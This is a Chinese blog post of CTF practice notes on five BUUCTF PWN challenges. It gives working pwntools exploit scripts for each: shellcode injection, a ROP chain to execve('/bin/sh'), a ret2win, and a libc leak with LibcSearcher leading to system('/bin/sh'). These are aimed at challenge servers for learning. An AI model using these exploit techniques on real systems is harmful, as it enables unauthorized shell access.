Buuctf 刷题笔记(PWN)(2)
Buuctf 刷题笔记(PWN)(1)
mrctf2020_shellcode

call了read 大小是400,而栈的大小是410 用汇编直接写的 没别的东西 直接 shell注入即可
exp
from pwn import *
p=remote("node4.buuoj.cn",26733)
#p=process("./mrctf2020_shellcode")
context(arch = 'amd64', os = 'linux', log_level = 'debug')
elf=ELF('./mrctf2020_shellcode')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
inndy_rop
这道题只有有一个简单的overflow,overflow里面return调用了一个get()
但是这道题开启了NX保护也就是“NX(DEP):数据执行防护” 那么也就没有办法进行注入shellcode+跳到该地址进行执行shell了 只能进行尝试ROP攻击(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
然后又开启了RELRO地址随机化保护 也就没有办法用retlib来做这道题
当然既然能溢出也有gadget那就行 根据网上的一种思路 直接使用ropgadget能直接出
commint:Ropgadget --binary rop --ropchain
#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from struct import pack
r=process("./rop")
# Padding goes here
p = 'a'*0xc+'bbbb'
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
r.sendline(p)
r.interactive()
picoctf_2018_buffer overflow 2
溢出跳转到win函数 然后 溢出修改a1和a2的值即可

wp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#p=process("./PicoCTF_2018_buffer_overflow_2")
p=remote("node4.buuoj.cn",26622)
payload='a'*0x70+p32(0x80485cb)
a1=0xDEADBEEF
a2=0xDEADC0DE
payload+=p32(0)+p32(a1)+p32(a2)
p.sendline(payload)
p.interactive()
xdctf2015_pwn200(libcROP)
这道题提供了没有提供libc 并且开启了NX保护 所以使用licsearch+ROP的形式来解
先溢出 然后通过plt表里的write地址调用write输出got表里的write地址
然后使用libsearch模块 查询libc版本 拿到system和sh的地址 然后再构造system(/bin/sh)格式的payload即可
exp
from pwn import *
from LibcSearcher import *
p=process("./bof")
p=remote("node4.buuoj.cn",25711)
elf=ELF('./bof')
context.log_level='debug'
write_plt=elf.plt['write']
write_got=elf.got['write']
vuln_addr=0x80484D6
payload='a'*(0x6c+4)+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4) //vuln_addr是有效返回地址 利用write 输出write的got地址
p.sendline(payload)
write_addr=u32(p.recvuntil('\xf7')[-4:])
libc=LibcSearcher('write',write_addr) //找到libc版本
libc_base=write_addr-libc.dump('write')//计算libc偏移基址
system=libc_base+libc.dump('system') //拿到system和sh的偏移地址
binsh=libc_base+libc.dump('str_bin_sh')
payload='a'*(0x6c+4)+p32(system)+p32(vuln_addr)+p32(binsh) //构造shellcode payload
p.sendline(payload)
p.interactive()
buuctf上的level1
这道题和原来不一样了
多了hello 关键是 触发返回ret出了些问题
exp
from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",27248)
ret_addr=int(p.recv()[28:36],16)
log.info("ret_addr:"+str(hex(ret_addr)))
shellcode=asm(shellcraft.sh())
#gdb.attach(p)
payload=shellcode+'a'*(0x88+4-len(shellcode))+p32(ret_addr)
p.sendline(payload)
p.interactive()
浙公网安备 33010602011771号